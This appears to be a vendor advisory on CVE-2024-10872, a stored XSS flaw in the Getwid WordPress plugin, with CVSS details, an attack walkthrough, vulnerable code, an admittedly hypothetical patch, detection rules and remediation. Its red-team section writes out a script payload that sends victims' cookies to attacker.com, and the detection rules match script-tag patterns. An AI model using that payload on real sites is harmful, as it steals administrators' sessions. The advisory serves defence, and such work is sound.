CVE-2024-10872

Executive Summary

CVE-2024-10872 is a Stored Cross-Site Scripting (XSS) vulnerability in the Getwid – Gutenberg Blocks WordPress plugin, affecting all versions up to and including 2.0.12. The flaw resides in the template-post-custom-field block, where insufficient input sanitization and output escaping allow authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts. These scripts execute when any user accesses the compromised page, leading to potential data theft, session hijacking, or defacement. The vulnerability is part of the WordPress ecosystem and does not involve Apache or Nginx directly.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify plugin integrity by checking checksums and monitoring for unauthorized updates. No known supply chain compromise has been reported, but the unpatched status increases risk for sites using this plugin.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None
• Threat Level: Medium – Exploitation requires authentication but can lead to persistent compromise of user sessions and data.

Deep Dive & Mechanics

The vulnerability exists in the template-post-custom-field block, which allows users to display custom field values from posts. The plugin fails to properly sanitize user-supplied input when rendering custom field data, and does not escape output before inserting it into the page DOM. An attacker with Contributor-level access can create or edit a post containing a malicious custom field value. When the block renders this value, the injected JavaScript executes in the context of the victim’s browser.

Attack Flow:

1. Attacker logs in with Contributor-level credentials.
2. Attacker creates a new post or edits an existing one.
3. Attacker adds a template-post-custom-field block and sets a custom field name that contains a malicious payload (e.g., <script>alert('XSS')</script>).
4. The plugin stores the payload in the database without sanitization.
5. When any user (including administrators) views the post, the payload executes, potentially stealing cookies, redirecting to malicious sites, or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (Getwid <= 2.0.12): The block renders custom field values directly without escaping:

// In getwid-blocks/template-post-custom-field/index.php
$field_value = get_post_meta( get_the_ID(), $attributes['fieldName'], true );
echo $field_value; // No escaping

Patched Code (Hypothetical): The patched version would escape output using WordPress functions:

$field_value = get_post_meta( get_the_ID(), $attributes['fieldName'], true );
echo esc_html( $field_value ); // Escaped

Exploitation & Lab Setup

Red Team (Attacker)

1. Prerequisites: WordPress site with Getwid plugin <= 2.0.12, Contributor-level account.
2. Steps:
   • Log in as Contributor.
   • Create a new post.
   • Add a template-post-custom-field block.
   • Set the custom field name to test_field.
   • In the post content, add a custom field with key test_field and value: <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>.
   • Publish the post.
   • When an admin views the post, their cookie is exfiltrated.

Blue Team (Defender)

1. Detection: Monitor for posts containing <script> tags in custom field values.
2. Prevention: Disable the template-post-custom-field block until patched.
3. Response: Remove malicious posts and reset compromised user sessions.

Indicators of Compromise (IOCs)

• File: wp-content/plugins/getwid/getwid.php (version <= 2.0.12)
• Database: Posts with custom field values containing <script>, <img onerror>, or other XSS payloads.
• Network: Outbound connections to attacker-controlled domains from WordPress admin pages.
• Logs: Unusual post creation or editing by Contributor-level users.

Detection Engineering

YARA Rule

rule CVE_2024_10872_Getwid_XSS {
    meta:
        description = "Detect Getwid plugin vulnerable to CVE-2024-10872"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-10872"
    strings:
        $vuln_block = "template-post-custom-field" nocase
        $vuln_func = "get_post_meta" nocase
        $unsafe_echo = "echo $field_value" nocase
    condition:
        $vuln_block and $vuln_func and $unsafe_echo
}

Sigma Rule

title: CVE-2024-10872 - Getwid Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit Stored XSS in Getwid plugin via custom field injection
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "/wp-admin/post.php"
        http.body|contains: "template-post-custom-field"
        http.body|contains|re: "<script[^>]*>"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in custom fields (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-10872 - Getwid Stored XSS Exploit"; flow:to_server,established; content:"/wp-admin/post.php"; http_uri; content:"template-post-custom-field"; http_client_body; pcre:"/<script[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the template-post-custom-field block via plugin settings or code override.
2. Short-term: Restrict Contributor-level users from using custom fields or the specific block.
3. Long-term: Apply a patch from the vendor once available, or manually escape output in the plugin code.
4. Monitoring: Enable logging for post creation and custom field modifications.
5. User Training: Educate users about the risks of XSS and safe content creation practices.

Report generated by Valters IT DevSecOps & CTI Division